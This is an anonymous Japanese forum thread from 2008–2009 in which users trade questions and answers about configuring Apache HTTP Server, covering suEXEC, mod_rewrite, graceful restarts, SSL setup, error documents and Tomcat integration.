1 :
名無しさん@お腹いっぱい。 :
2008/09/30(火) 08:11:00
2 :
名無しさん@お腹いっぱい。 :2008/09/30(火) 08:12:18
立ててみた @linux
@linux???????
4 :
名無しさん@お腹いっぱい。 :2008/10/02(木) 08:39:06
自宅鯖の質問スレで質問した際、こちらのほうが適切な回答がとのことでしたので質問させてください。 Apache2.2.8でVirtualHost+SuEXECな環境を作りたいのです。 Apacheはuserもgroupもnobodyで動かしています。 そのためMovableTypeでHTML生成すると、ファイルのオーナーがnobodyになってしまい これはSuEXECなるものを使えってことなのか?と試しているんですが、どうやってもnobodyでファイルが生成されてしまうのです。 /home/[ユーザ名]/public_htmlがVirtualHost個々のDocumentRootです。 ./configure --prefix=/usr/local/apache2 \ --enable-so \ --enable-rule=SHARED_CORE \ --enable-rewrite \ --disable-dav \ --enable-cgi \ --with-included-apr \ --with-perl=/usr/local/bin/perl5.8.8 \ --with-port=80 \ --enable-suexec \ --with-suexec-caller=nobody \ --with-suexec-docroot=/home \ --with-suexec-userdir=public_html \ --with-suexec-bin=/usr/local/apache2/bin/suexec \ --with-suexec-logfile=/usr/local/apache2/logs/suexec_log \ --with-suexec-uidmin=1000 \ --with-suexec-gidmin=1000 configureは上記のようにしていますが、httpd_vhostとかに何かおまじないを書く必要があるんでしょうか? もしくは他の方法でユーザ自身がオーナーになるようにできるんでしょうか? 初心者的質問で恐縮ですが、よろしくお願いします。
>>5 /usr/local/apache2/logs/suexec_log に何かでてないの?
7 :
5 :2008/10/07(火) 22:52:34
ログには何も書き出されないです。 suexec -Vではconfigureの値がでてきているので 入っているのは確認できているんですが・・・
ふむ。
あれ?
> /home/[ユーザ名]/public_htmlがVirtualHost個々のDocumentRootです。
これってちょっと特殊な要件だね。すまん、見逃してた。
<VirtualHost *:80>
DocumentRoot "/home/foo/public_html"
ServerName foo.example.com
</VirtualHost>
って感じ?だとすると、たぶん SuEXEC としては UserDir としての
アクセスじゃないから動かないと思う。(確かめたわけじゃないが、
かなり厳密に動作環境をチェックしてたはずなので)
おおもとのホスト名が www.example.com だとして、
まず
http://www.example.com/~foo/ で SuEXEC での動作を確認し
て、
http://foo.example.com/ を
http://www.example.com/~foo/ にリダイレクトなり ProxyPass & ProxyPassReverse なりしてやる
のがいいんでない?
注意点としては・・・
・本当にできるかどうかわからんw
・規模が大きくなるとパフォーマンスでないかもしれん
・ProxyPass つかうと VirtualHost側に想定するログが出ないかも
(全部アクセス元が127.0.0.1とか)
・同様にIPアドレスベースでアクセス制御考えてる場合は破綻するかも
などなど。まぁがんがれ。
補足
>>7 > ログには何も書き出されないです。
ログが出ないことからしても、SuEXECなアクセスとして扱われてな
い可能性が高い気がするなぁ。マニュアルに SuEXEC としてアクセ
スするための条件とか書いてない?
SuexecUserGroup
12 :
5 :2008/10/07(火) 23:45:49
うおおおおおおおおお!ありがとうございます! まーさーにー、これだ! というか、documentはスミからスミまで読みますスミマセンでした。 もうできなくてできなくて、仮想サーバを立ち上げてやろうかとか考えてました。
13 :
5 :2008/10/08(水) 10:07:14
一応、結果報告 できました! まぁお約束のdirectory is writable by othersが出て、一瞬なんでよ?と 思いましたが、そりゃOtherが触れたらsuexec意味ねーじゃんと言うことで 755にして解決です。 ありがとうございました。
mod_rewriteの[L]の動作について、質問させてください。
jpgはミラーサーバーへ飛ばして、xjpgはサーバー内のjpgを表示したいのですが、
RewriteRule ^(.+)\.xjpg$ /images/$1.jpg [L]
RewriteRule ^(.+)\.jpg$
http://www.mirror.xxx/images/$1.jpg とやったら2行目まで処理されました。
[L]て、それ以上書き換えルールを適用しないおまじないじゃないんでしょうか。
xjpgはミラーになかったときに突っ返えされたやつなんで無限リダイレクト・・・
レス付かないようだから素人から。 使わないから曖昧な知識なんだけど、リクエストされたURLパスと物理的な 実ファイルを紐付ける前に、リクエストのパスを書き換えるモジュールだよね? ってことは、 xjpgでのリクエストはRewriteRule ^(.+)\.xjpg$ /images/$1.jpgに変換して リクエストを処理。 変換されたリクエストはRewriteRule ^(.+)\.jpg$の条件にマッチするので ミラーにないからxjpg突っ返されて無限リダイレクト。 1回のリクエストで2行目まで処理されてるんじゃなくて 都合2回分のリクエストが発生したため、2行目まで処理されてるって ことになってるんじゃないかと素人は思う。
16 :
14 :2008/10/09(木) 19:36:52
いやあ、そうならないように [L] をつけたわけで、 なのに評価が止まらないので質問しました。 でも自己解決したので報告します。 .htaccessでやってたからダメでした。httpd.confに移したらOK。 .htaccessだと、[L]でとめた後にまたディレクトリを読み込んで評価しちゃうんですね。
logresolve がまともに動かないんだが、 logresolve は、どのDNSを使っているのか? 設定するファイルも無いようなんだが。 そもそも、パソコンが使うDNSとは 一意に決まっているのか? それはどこに設定されているの?
logresolveは127.0.0.1をリゾルブしないって聞いたんだけど、本当?
Windowsは板違い。
マニュアルを調べたのですが自信がないので教えてください。 Allowoverride で Fileinfoを許可したいが、 CGIやPHP、SSI を使用させたくない、というポリシーです。 phpに関してモジュールの使用を禁止するのは モジュール自体をoffにするしか事実上不可、であってるでしょうか? またCGI,SSIについては optionsを禁止しておけば、Fileinfoが使えても使用できない、 ということであってるでしょうか?
>>22 wとかつけてるが、全然お前理解できてないだろw
Common_Gateway_Interface って覚えたてで使いたいのか?
mod_cgiやmod_includeも殺したら良いかと
25 :
名無しさん@お腹いっぱい。 :2008/10/14(火) 22:38:19
ほ
26 :
名無しさん@お腹いっぱい。 :2008/10/29(水) 03:09:26
Ubuntu8でApache2を使用しています。 現在、Nameベースのバーチャルホスト設定して 異なるドメインのサイトを2つ運用しているのですが、 今度ここにもう一つサイトを追加することになりました。 そこで質問なのですが、Apacheを再起動せずに バーチャルホストの設定を追加することは可能でしょうか? 目的は運用中のサイトを停止させずに新規サイトを追加することなので、 バーチャルホスト以外のやり方があるならばそれでも構いません。 何か良い方法があればご教示ください。
graceful もだめなの?
別プロセスで上げる、とか。 つーかさ、止めちゃだめなような作りにするなよ。 障害で落ちることもあるんだから。
29 :
26 :2008/10/29(水) 15:21:35
>>27-28 どうもありがとうございます。
やはりgracefulが最善でしょうか。
さすがに別プロセスであげると管理がややこしくなるので
深夜などを狙ってgracefulで再起動することにします。
ありがとうございました。
そういう用途のための graceful だからな。しっかし、再起動でも問題ないだろ 一瞬でも止められないサイトなら鯖を二重化するなりしとけw
graceful-stop → start ただのgracefulよりすっきりする ただし忙しいサーバーだとstartのときに、bind出来ないって怒られることがある(バグ)
mod_rewriteを<Directory>や.htaccessに入れるのは上級者向けなのに 初心者ほどやりたがるから困る
33 :
名無しさん@お腹いっぱい。 :2008/11/01(土) 08:42:39
Apacheのことが何でも載ってる、Apacheを極めたい人の究極の一冊となるとどんな本がお勧めですか?
ソース
>>31 ちょとまて、bind出来ないってそれマジか?
OSは?Apacheのバージョンは?
36 :
名無しさん@お腹いっぱい。 :2008/11/01(土) 20:48:14
apacheにsslを組み込んでインストールがしたいので、本の通り下記のコマンドを実行しました。 ./configure --enable-rewrite=shared --enable-ssl=shared --prefix=/opt/www するとエラーが出てきました。 configure: error: ... Error, SSL/TLS libraries were missing or unusable 解決策があれば教えてほしいです。
37 :
35 :2008/11/01(土) 21:12:52
あぁ、ごめん graceful-stop → start ね タイミングによってはなるかもだね graceful で起きるのかと勘違いしたw
>>36 ライブラリが見つけれないのかなと思って、/etc/ld.so.confにsslの
ライブラリがある場所を追記したんですけど、余り関係ないですか?
どなたかヒントをお願いします。
2.2.10喜多
>>40 openssl-develが入っていなかったぽいです。
インストール後、configureはできたんですけど、
今度はmakeで引っかかってしまいました・・・。
一旦ソースからのインストールはあきらめて、aptでやり直してみます。
アドバイスどもでした。
43 :
名無しさん@お腹いっぱい。 :2008/11/04(火) 04:59:52
errordocument ディレクティブを使用せずに
元のエラードキュメントを変更する方法はないでしょうか?
ドキュメントルート以下にエラードキュメントを置けず、
また
http://でのURL指定も避けたいためです 。
標準で表示されるエラードキュメント(たとえば、404 not foundとか)
は.htmlでどこかにデータがあるわけではなく、
apacheのソース自体に書き込まれてるのでしょうか?
そうだよ
ちがうよ
>>44 Apache 2.xのサンプル設定にある多言語表示用のErrorDocumentと
その前に置かれているAlias /error/を見れば解決方法はわかるよな?
48 :
名無しさん@お腹いっぱい。 :2008/11/10(月) 02:14:19
ドキュメントルート以下にエラードキュメントを 置けないという状況がまず理解できない
49 :
44 :2008/11/10(月) 19:23:37
httpd.confでデフォルトで記述してある Aalias /error/ をコメントアウトしても 表示変わりません、 ErrorDocument 404 /error/HTTP_NOT_FOUND.html.var 自体をコメントアウトしても 表示されるエラーって ソース以外どこに書いてあるのを読み込んできているんでしょうか。
DocumentRoot外にエラーページを配置する方法はわかっただろ なのに何が問題なんだ? 訊きたいことをちゃんとまとめてから来るんだね
Apahceのバージョンとhttpd.conf晒してよ。
ソースの server/protocol.c に書いてあるよ
ieは自前のエラーメッセージを出す仕様 ってエスパーしてみる 正確にはリクエストのサイズとか いくつか条件有ったと思うけど
54 :
名無しさん@お腹いっぱい。 :2008/11/10(月) 23:23:45
そりゃ有名な仕様だよ そっけなく表示される短文のエラーメッセージを わかりやすくしようと考えたんだろうね Internet Explorerはそういういらぬお節介が多い 時としてContent-Typeを無視するのも同じことかと ボクが考えた親切設計〜☆とかいうのはよく吟味しないと 迷惑をかけたりヘタすりゃ脆弱性になったりもする サービス精神が豊かすぎるつーか余計なことが大好きな人は そういうことになってないか確認を忘れずに
メッセージの長さでキャンセルできるのは知らんかった。
ケータイで web を見るときもサーバからのエラーページを そのまま見せるものは皆無なわけだし、 IE の仕様が超絶的におかしいというわけでもないよ。 メーラーだって、550 relay denied というエラーで蹴られたとしても、 そのエラーは画面に出さずに「送れませんでした」とダイアログを 出すようなものが多いでしょ。それと同じ。 エラーページのサイズで挙動を変えるというのは変態だが。
59 :
名無しさん@お腹いっぱい。 :2008/11/17(月) 21:32:33
サイトごとの負荷を調べたいのですが、何か良いツールはありますか? バーチャルホストで10サイトほど運営しています 通常のアクセスログをサイト毎に存在します こういう場合はサイト毎にWebalizeでも使うのでしょうか
負荷ってトラフィック的かCPU的かメモリ的か同時アクセス的か等によって変わるよ、 例えば単純な大データ転送より細かなCGIプログラム処理の方がサーバ&環境にとって負荷が高いって事も多いし、 まず何を目的に負荷の調査をしたいのかがわからないとね。
Webalize(r?) とか言ってるから 単にアクセス数を数えたいだけ?
62 :
59 :2008/11/18(火) 15:40:01
回答ありがとうございます。 サイト毎のCPU的な負荷を知りたいです。 サイト毎の load average のような。 そういったツールってありますかね?
それは無理だろう。
使用するリソースってバーチャルホストごとに明確に分離してるわけじゃないよ。 複数のサイトで共有して使われてるものもあるから、 そういう負荷状況を取得するのは無理。 どうしてもそういうのが欲しいのなら、バーチャルホストごとに 別プロセスで立ち上げること。名前ベースなら無理だけど。
65 :
59 :2008/11/18(火) 15:59:38
>>64 なるほど、そう考えるとそうですね
ありがとうございます
ただ、一つだけ合点がいかない部分がありますので聞かせてください
レンタル鯖の xreaって、サイト毎に load average っぽいのが見られるじゃないですか
1以上が長い時間続くとサーバー停止みたいな
あれって apache + virtualhost で 名前ベースだと思うのですが、
どのように実現しているんですかね
XREAが出してる「負荷率」はCGI。 CGIWRAP使ってなんかしてるんだと思うけど俺はCGIWRAPはよくわからん。 それとアクセス数と転送良だな。
>>64 自分もCGIの多いサイトを運営してるけどこれ一本でOK的なツールは知らない、(誰か知ってたらおしえて)
でどうしてるかというと
MRTG(snmp)でCPUとトラフィックのロードアベレージを取っていて気になる時間帯のログを分析して割り出してる
効率の良い方法とは言えないけどこれで負荷が高いサイトやCGIは有る程度特定できる。
CGIだけだったら、/usr/bin/perl をラッパーにして、 なんか記録撮るプログラム挟めば行けそう
70 :
59 :2008/11/19(水) 12:14:47
ふーむ、CGIの負荷でしたか ありがとん
CGIなら、suEXEC使ってユーザ毎に分ければ 何となく制限とか簡単そうな気がする
suexec + accton
レン鯖のことはよくわからないけど PHP/CGIラッパーつかってるなら実行権限はapacheやnobodyじゃなくてユーザーなわけでしょ? なら普通に60秒ごとにでもpsのpcpuを監視するスクリプトでも書けば実現できるんじゃない?
まもなくApache2.2.11が出るぞー
Apache 2.3.0-alpha がそろそろ出るぞ アルファだけあってまだまだ変なとこもあるけど 安定した追加機能もあったりする
スレ違いすまん。 海外に、web server の履歴(OSやらServer) を調べられるサイトが あったと記憶しているんだが、名前が分らない。 どなたか教えてくださいませ。
httpd.conf を再読み込みするときに kill -HUP をしているのですが、 ブラウザからCGIなどの処理中の場合、 CGIの処理が中断され終了してしまうことを確認しました。 これを回避する方法ってないでしょうか?
apachectl graceful
kill -USR1
82 :
名無しさん@お腹いっぱい。 :2008/12/15(月) 22:10:59
httpsのみでアクセスさせたいページがあるのですが、 mod_rewriteをいじってもうまくいきません。 セキュリティの対策として行なおうとしてますが、 一般的に、こうしたことはする必要ないのでしょうか?
環境変数SERVER_PORTが443じゃなかったら弾く。 mod_rewriteでもmod_setenvifでも出来るよ、多分。
84 :
82 :2008/12/15(月) 22:30:29
>>83 あ、環境変数で弾けばよかったんですね。
やってみます。ありがとうございました!
環境変数なんて見なくても、ポート80のほうのバーチャルホストではじけばいいだろ てか弾くんじゃなくてHTTPSのほうにリダイレクトすりゃ親切だけどな
同一ホストだが、特定のディレクトリだけはSSLに限定したいって要件を前提で回答した。 リダイレクトすりゃ親切ってのは同意。
87 :
名無しさん@お腹いっぱい。 :2008/12/16(火) 21:57:24
Apache2.0.63でAuthDBMUserFileを使って認証ファイルをDBM形式にしたいのですが
--enable-auth-dbm
をつけてconfigureすると、環境によってデフォルトがSDBM、NDBM、GDBMなど 使える
DBMのうちのどれかになるそうです。
http://httpd.apache.org/docs/2.0/ja/mod/mod_auth_dbm.html#authdbmtype デフォルトを、たとえばGDBMにしたい、という場合はconfigureでどういうオプションをつける
のでしょうか?
AuthDBMType GDBM
とするとGDBMが使えるのは知っています。
「デフォルトをGDBMにしたい」というのはただの興味で、自分の環境のCentOS5.2だとSDBMが
デフォルトになったので、なんでかな?という理由です。
AサーバからBサーバへIPアドレス変更した対策として Aに来たアクセスをそのまま Bへ送る、みたいなことってできないでしょうか? 自サイトにアクセスがあったらWEBプログラムで ローカルのデータベースに書き込む仕組みのため IP変更で一時でも情報が分散するのが困るためです。 メールサーバー(postfix)はクリアできたのですが、 ウェブサーバー(apache)は方法がさっぱり分かりません
DNSのAレコードを修正したってこと? メールは中継すればいいけど、Webはなぁ・・・w
Webサーバーレベルではどうしようもないな。 BにAのIPアドレスを、ARPに反応しないような方法で割り当てればいい。
経緯がよう分からんが、TTLを300secぐらいに小さくしておいて移行期間を少しでも短くするとか.。 古いアドレスの方は完全に止めてしまえば、そっちにアクセスされてデータがおかしくなることもない。 無理にシームレス化させなくて、割り切った方がいんでは?
iptables なり pf なりでパケット転送すればいいんでね。 要はグローバル-プライベートじゃなくてグローバル-グローバルの NAT。
新しいホストがNameBaseだと使えない罠 旧IPでPROXYとかどーよ
96 :
91 :2008/12/17(水) 21:21:12
読み返してみると俺は何を書いてるんだ…
要するに
>>93 みたいな事を言いたかった
>>88 ./configure --help
と同じ内容ですよね。
で、そこのどこに「デフォルトDBMを指定するには」があるんでしょ?
関係ありそうなのは
--enable-auth-dbm
--with-gdbm[=path]
--with-ndbm[=path]
--with-berkeley-db[=path]
だけかと思うのだけど。
検索してたら、サービスとして起動しているものをコマンドで停めるのはNGっぽいことを書いてる人がいたけど、そういうもん? VMwareで自動起動したtomcatがstopできないんだけど…
>>99 chkconfigで2〜5がONになってて起動中のTOMCATを、/etc/init.d/tomcat stopで停めようとすると、サーバ(VMware?)がハングする
でもってchkconfigでtomcatの2〜5までOFFにすると、/etc/init.d/tomcat stopで停まる
VMwareが他の人のPCに入ってるので、その人が来るまでまだしばらく各種バージョンは確認できないんですけど。
tomcatが悪いのか、mod_jkが悪いのか、JAVAが問題なのか、はたまたVMの問題か、原因がよく判らないんですよねぇ…
>>100 罠として仕掛けるには面白いから、どうしてサーバがハングするのか突き止めてくれw
自分の知識ではその状況が作り出せない・・・
すみません。 ご存知の方がおいででしたら、教えていただきたいのですが、 apache(1.33以上)の動作として、 HEADメソッドのリクエストに対して、100 Continueを返す ことはあるのでしょうか? というかごくまれに返ってくると思われるのですが、 どういった条件で返すのでしょうか?
Apache3まだ〜?
windows 2k(SP4)で apache 2.2.9を使っていますが、 ファイルの転送が遅く、色々試行錯誤しております。 LAN(一応Gbit)内に置いてあるのですが、400KB/sec程となってしまいます。 お知恵を拝借したく、書き込みいたします。 FTPでは12MB/secとなります。 複数からの接続をすると、200KB/secずつになります。 CPUの負荷には変化なく、十分に余裕があるように見えます。 ProcessExplorerでディスクへのアクセスの仕方を見てみましたが、 400KB/secで安定して読み込み、変動はありません。 そのため負荷による制限ではなく、意図的な制限に見えます。 当初、EnableSendfile off にて、11MB/secになって安心していたのですが 数日後、400KB/secに戻ってしまいました。 sendbuffersize にRWINと同じ値を指定し、11MB/secとなり、 様子を見ておりましたが、再度400KB/secになってしまいました。 今回は、的外れと思いつつwindows側のTCPがらみの調整を行いましたが、改善しませんでした。 帯域制限をするモジュールや、ファイアーウォールの類はありませんので apacheとwindows間のやり取りに何らかの障害が発生している?と思うのですが… 現象の再発性が腑に落ちません。 根本的な問題が別にあるのでしょうか…(例えばメモリーなどのHW? 無いか…) どなたか、「これやった?」的なアドバイスが頂ければ幸甚です。
板違い
特定のIPアドレスからのアクセスを制限したいのだが、denyとかじゃなくてコネクションの 頭から弾くようなものは無いですかね。。。 まちBBSの「Proxyと思われるポートが開いています」対策なんですけど、ルータや IPマスカレードのレベルで実施するというのもごもっともなんですが、できればお気軽 にApacheの設定だけでできないかな、と。
今はないから、モジュール作れば可能
apacheはlistenするのが仕事だからなぁ・・・
acceptしてすぐ切断するモジュールなら作れるけど、accept自体を拒否することはできない
CLOSE_WAIT が 残ってしまう 現象って、ググってもわかりません。 エロイ人教えてくださいませ。よろしくお願いします
>>110 まったく、OS とか環境が無いとアドバイスのしようが無いじゃないの!
とりあえず、Linux なら Keepalive timeout を短くしてみたら!
べ・・・別に、あんたのためじゃないんだからね。
残ると何かマズいの?
>>111 ごめんなさい。遅れまして。OS:CentOS4.7/5 Apache 2.2.8/2.2.11 Tomcat 5.5 mod_jk, mod_proxy
lsof コマンドで確認したこと
(1) ブラウザ −> Apache
省略
CLOSE_WAIT FIN_WAIT2
両方も開放
(2)ブラウザ −> tomcat:8080
省略
CLOSE_WAIT 速く開放されて表示されない
両方も開放
(3)ブラウザ −> Apache Apache−> tomcat:8009
省略
CLOSE_WAIT FIN_WAIT2 CLOSE_WAIT 速く開放されて表示されない
両方も開放 CLOSE_WAIT
connectionTimeoutを設定しないと(0) ESTABLISEDのまま
ご指摘の時間を短くするのは、CLOSE_WAITに至る時間です。
以上です。よろしくお願いします。
114 :
110 :2009/01/21(水) 04:10:42
115 :
110 :2009/01/21(水) 05:20:21
ごめんなさい。 tomcat へ移動します。 こちらはクローズします。
<Directory /home/hoge> Order Deny,Allow Deny from all Allow from example.jp </Directory> <Directory /home/hoge> Order Deny,Allow Deny from all Allow from example.com </Directory> みたいな書き方で、example.com, example.jp 双方から /home/hogeへのアクセスを許可することは動作上はOKみたいなんですが、 これって正式に認められてる書き方なんるんでしょうか?
<Directory /home/hoge> Order Deny,Allow Deny from all Allow from example.jp Order Deny,Allow Deny from all Allow from example.com </Directory> こう書いたのと等価で、さらに <Directory /home/hoge> Order Deny,Allow Deny from all Allow from example.jp Allow from example.com </Directory> こう書いたのと等価だからね 正式には知らん
122 :
名無しさん@お腹いっぱい。 :2009/02/04(水) 19:45:21
VirtualHostで CustomLog "|/usr/local/apache/bin/rotatelogs /home/hoge/logs/hoge.com-access_log.%Y%m%d 86400 540" combined env=!worm とするとプロセスが /usr/local/apache/bin/rotatelogs /home/hoge/logs/hoge.com-error_log.%Y%m%d 604800 540 でなく /bin/sh -c /usr/local/apache/bin/rotatelogs /home/hoge/logs/hoge.com-error_log.%Y%m%d 604800 540 ^^^^^^^^^^って頭に/bin/sh -cがくるんだけどこれって正常? マシンによってまちまち・・・
>>117 昔からUNIX使ってる人はsymlinkアタックなんざ知ってるし、
そもそもログディレクトリに書き込める設定がおかしいw
>>122 先頭にexecつけてみたら消えない?
昔、特定のバージョンでそういうのあって、execで逃げてた。
sh を仲介させないと rotatelogs じゃなくて "rotatelogs /home/hoge/..." という 空白入りのコマンドを実行しようとしてコケそうな気が。
127 :
122 :2009/02/04(水) 21:28:12
>>125 おおお。消えました。どもです。
apache_1.3.41+FreeBSD6.3なんですが、
apache_1.3.41+FreeBSD6.2だとexec無しで動いてます。
どういう理屈か追っかけてませんが、一応ご報告。
128 :
fa :2009/02/13(金) 21:45:22
ふとした時にnetstat で見ると、子プロセスがListenになっているですが、これは正常でしょうか? 私の認識だと、設定したポートにたいして、常に親がListen状態で、forkされた子プロセスはESTABLISHになると思っています。 プロセス自体を再起動すると、認識どおりの動きをするのですが、何日か稼働させると、子プロセスがListen状態になってしまいます。 ただし、この状態になっても、アクセスは正常に出来、ログにエラーも出ていません。
正常
tomcat初心者です。 HP-UXにtomcatをインストールしてサーバ構築しています。 tomcatの起動ユーザーをroot以外のユーザーに設定して使いたいのですが、 うまく設定できずに困っております。 rootでtomcatを起動した場合は正常にページが表示できているのですが、 root以外のユーザーで起動するとページが見つかりませんと表示されてしまいます。 尚、catalina.outには以下のログがでておりました。 org.apache.coyote.http11.Http11Protocaol start 致命的:エンドポイントを起動中のエラーです。 java.net.BindException:パーミッションがありません(errno:13)<null>:80 これを見ると、どこかパーミッションを変えないとだめかと考えますが、 具体的にどこを変えていいのか分かっておりません。 ちなみに、/opt/hpws/tomcat配下のパーミッションは 起動ユーザーのもの(オーナーやグループ)に変えております。 問題がお分かりの方ご教授ください。 設定としては以下 ・/opt/hpws/tomcat配下の権限(オーナー、グループ)は、起動ユーザーのもの。
mod_headersってAuthorizationヘッダ消せないのかね? apahe2.2.6 + CentOS4.6でやってみたけどどうにも消えない。。。
Authorizationヘッダはmod_headersでいじるようなもんじゃないしな
133 :
131 :2009/02/15(日) 14:56:01
ですよねー
そもそも何がしたいんだかw
135 :
131 :2009/02/17(火) 00:00:29
Basic認証なのにログアウトできるという斬新なアイデアw
「ログアウト」を踏んだときに HTTP/1.0 401 Unauthorized WWW-Authenticate: Basic realm="hello" というレスポンスをサーバーが返せば、 大抵のブラウザはログアウト状態になるよ。
>>136 その後リトライさせるとパスワード覚えてて意味なしだけどな。
138 :
名無しさん@お腹いっぱい。 :2009/02/25(水) 00:44:33
前任者がさくっと辞めた後、パソコン詳しそうだからという理由で、 ウェブサーバの管理を任されてしまった初心者です。UNIXもApacheも最近学び始めたばかりです。 現在、サーバ設定はhttpd.confに一本化されているようですが、 以前は内容ごとに複数のファイルに分かれていたと聞きました。 そこで疑問に思ったことがあります。 以下の場合、実際の運用の面で何か差はあるのでしょうか? 起動が少し遅くなるだろうな、というのは予想できるのですが。 (1) コメントがたくさんある場合と、一切無い場合 (2) httpd.confのみに設定を書いた場合と、Includeで複数のファイルに設定を分けた場合 よろしくお願いします。
139 :
名無しさん@お腹いっぱい。 :2009/02/25(水) 02:01:08
ファイルが二つだと管理が面倒、コメントがたくさん有ると見にくい。 そのまんまだと思うけど。 ただ、2.2系のデフォルトの設定ファイルはIncludeするようになってるね。 extraの下にあるやつ。
140 :
138 :2009/02/25(水) 02:12:14
>139 シンプルなタイプと、コメントが多かったりIncludeで分割しているタイプとで 実行速度や占有メモリなどに差があったら困るなあ、と。 VirtualHostの部分が結構多くなってしまったため、 もし問題ないなら、そこだけでも別ファイルに移そうかな?と思っていました。 おそらく慣れた方なら、コメントが少なくても大丈夫なのでしょうけど。 2.2のファイル構成は確認していませんでした。参考にしてみます。
confファイル群は起動時に読み込んで解析してメモリに確保するから 分かれてようが一つだろうが、同じ設定なら動作には関係無いっしょ DocumentRoot下の.htaccessは動的に探して読んだりするから有無で重さが変わるかもしれないけど、昨今のハードウェアなら無視出来るかと。
<VirtualHost> ごとに別ファイルに切り出すのは良い方法
143 :
138 :2009/02/25(水) 12:38:01
>141 ですよね。良かった良かった。 大丈夫だろうとは思ってましたが、これで安心です。 >142 サンクス
144 :
名無しさん@お腹いっぱい。 :2009/02/27(金) 02:16:39
もう解決したんだろうけど、ファイル分けたくらいで性能に影響するほど柔じゃないでしょ。 そんなことより性能系のパラメーターに力入れなよ。
httpd.conf の LoadModule で mod_suexec.so をコメントアウトしても httpd が探しに行く (/usr/sbin/)suexec が存在すると有効になってしまいます。 他のモジュールのよう httpd.conf だけで無効にできないのですが、 このほうが良いという利点があってこのような動作をするのでしょうか。
mod_suexecって、SuexecUserGroupディレクティブを使って 「指定されたユーザとグループで CGI スクリプトを実行する」(ドキュメントより) 為のものであって、suexecそのものが使われるか否かには関係ないのでは?
147 :
名無しさん@お腹いっぱい。 :2009/03/06(金) 17:08:52
初心者です。 とりあえず持っておけ!という本は何があるでしょうか? 公式サイトと併用を考えています。 入門者向けの情報、日本語に訳されていない部分の補完などがあれば幸いです。
ないな。 訳されてない部分は原文を読めばいい。 どうせ訳されている部分も原文を読むことになるし。
pingは普通に通るのに、HTTPが異常に遅いという現象で困ってます。 $ ping 192.168.1.10 # 問題なし $ telnet 192.168.1.10 80 # 15秒ぐらいかかる なにかヒントありましたらお願いします。 このファイルを見ろとかでも助かります。 OS: CentOS
逆引き?
>148 ありがとうございます。 訳されてようが訳されてまうが、結局原文を読むというのは いつも、どんな場所でも変わりませんね。
>>150 ありがとうございます。
たしかに nslookup 196.168.1.10 がタイムアウトでエラーになります。
これが原因なのでしょうか。
とりあえず /etc/hosts にホスト名を追記してみたんですが、症状は改善されませんでした。
/etc/hosts は逆引きには関係ないんでしたっけ?
Webサーバ側が、クライアントの逆引きをしようとして タイムアウトしている可能性があるという意味でしょ。 クライアント側のhosts書いてどうすんのよw 環境がよく分からんけど、すべてLAN内の話なの? それから、本当にHTTPだけなの? 他のサービスは?
>>153 /etc/hosts の書き方が間違ってただけでした。
正しく書き直したらちゃんと動くようになりました。
どうもありがとうございました。
156 :
名無しさん@お腹いっぱい。 :2009/03/14(土) 17:23:36
mod_security ってのがあるのを知ったんだが、2004年頃の情報ばっか見つかる。 あんまり使えなくて運用実績がない感じなのかな? 情報求む
>155 そういえば、クックブックってどう?
ログに、 worker.c(1354): taking over scoreboard slot from 17847 (quiescing) worker.c(1030): child 8235 isn't taking over slots very quickly (24 of 25) とか出るんだけど、何だろ。
server-statusを見たときに"Open slot with no current process" ってのが全然ない状態でgraceful再起動するとそうなる。 まあ気にすることはない
どうしても気になるなら、ThreadLimitかServerLimitを増やすといい
161 :
158 :2009/04/12(日) 23:36:06
ここの管理人はこちらが正当な理由でルールに乗っ取り削除依頼だしているにもかかわらず、都合が悪いと
IPアドレスを抜き取って接続拒否する手段をとるようですねえ?最低な管理人様ですね。
それとも私の勘違いかな、サーバーに不具合でもあるのでしょうか?特定の人間だけを接続不可能にするような不具合でも?それなら早く直して頂きたいものですね。
Apache 2 Test Pagepowered by CentOS
こんな表示画面に飛ばされるのですが???
まあきちんと削除して下さいな。利用規約にもきちんと明記があるわけですから禁止行為>・第三者の権利を侵害する可能性のあるファイルをアップロードすること。
むしろありがたいと思ってもらいたいですね、犯罪の片棒担ぐのを未然に防げるんですから。
[8] 名前:管理人★ :2009/04/15 (水) 03:35 No.346
>>7 削除完了
※ご自分のPC環境をお確かめ下さい。
ココはアクセスの仕方やパスの解き方などなど...を教えてあげる所ではありません。('A`)
これってさこっちの環境じゃないでしょ?
馬鹿な管理人がムカツイテ特定のIP拒否してるんだけだよね?
>162 日本g
164 :
名無しさん@お腹いっぱい。 :2009/04/16(木) 20:21:56
ちょっと質問 SSL環境でsuexec環境のcgiは実行可能でしょうか?
166 :
名無しさん@お腹いっぱい。 :2009/04/19(日) 01:57:11
>>165 遅くなりましたがお返事ありがとうございます。
下記のようにssl.confを設定したところユーザー権限で実行できたのですが
このユーザー以外の他のユーザー権限で実行することは不可能でしょうか?
<VirtualHost _default_:443>
SuexecUserGroup user group
</VirtualHost>
ご教授よろしくお願いします。
# <VirtualHost _default_:443> <VirtualHost 192168.0.2:443> SuexecUserGroup user group </VirtualHost> <VirtualHost 192168.0.3:443> ServerName vhost2.example.net SuexecUserGroup user2 group2 </VirtualHost> こんな感じでVirtualHostを追加すればいいよ。 完璧に構築しようと思ったら、グローバルアドレス2個、SSL証明書2個を 用意して、それぞれに1個ずつ割り当てる必要がある。 ブラウザに警告が出ても良いなら、IPアドレスもSSL証明書も1個を 使いまわして、NameVirtualHostで構築することもできる。 要件次第だね。
# wget
https://localhost --2009-04-26 20:09:53--
https://localhost/ localhost をDNSに問いあわせています... 127.0.0.1, ::1
localhost|127.0.0.1|:443 に接続しています... 接続しました。
OpenSSL: error:140770FC:SSL routines:SSL23_GET_SERVER_HELLO:unknown protocol
SSL による接続が確立できません。
って出るんですが、これは一体どういうエラーなんでしょうか。
ubuntu9.04
インストールしてsslを使えるようにした以外はまっさらな状態です。
169 :
名無しさん@お腹いっぱい。 :2009/04/26(日) 20:27:16
追記です。 telnetでアクセスすると501エラーが出ました。
鍵を作って設定しれ。
171 :
名無しさん@お腹いっぱい。 :2009/04/27(月) 16:56:59
鍵を作ったんですが
Bad Request
Your browser sent a request that this server could not understand.
Reason: You're speaking plain HTTP to an SSL-enabled server port.
Instead use the HTTPS scheme to access this URL, please.
Hint:
https://****.com/ というページが表示されるようになりました。
httpsではアクセスできるんですが、通常のhttpではアクセスできなくなりました。
書いてあるとおりじゃね。
DocumentRoot /var/www/html を使っていたのだが、varの容量設定が小さすぎて ファイルがこれ以上増やせない rootならかなり余裕があるんで DocumentRoot /root/www/html に変更して、service httpd restart だとエラーで起動してくれない。どうしたらいいんだー? 再インスコメンドクセ
174 :
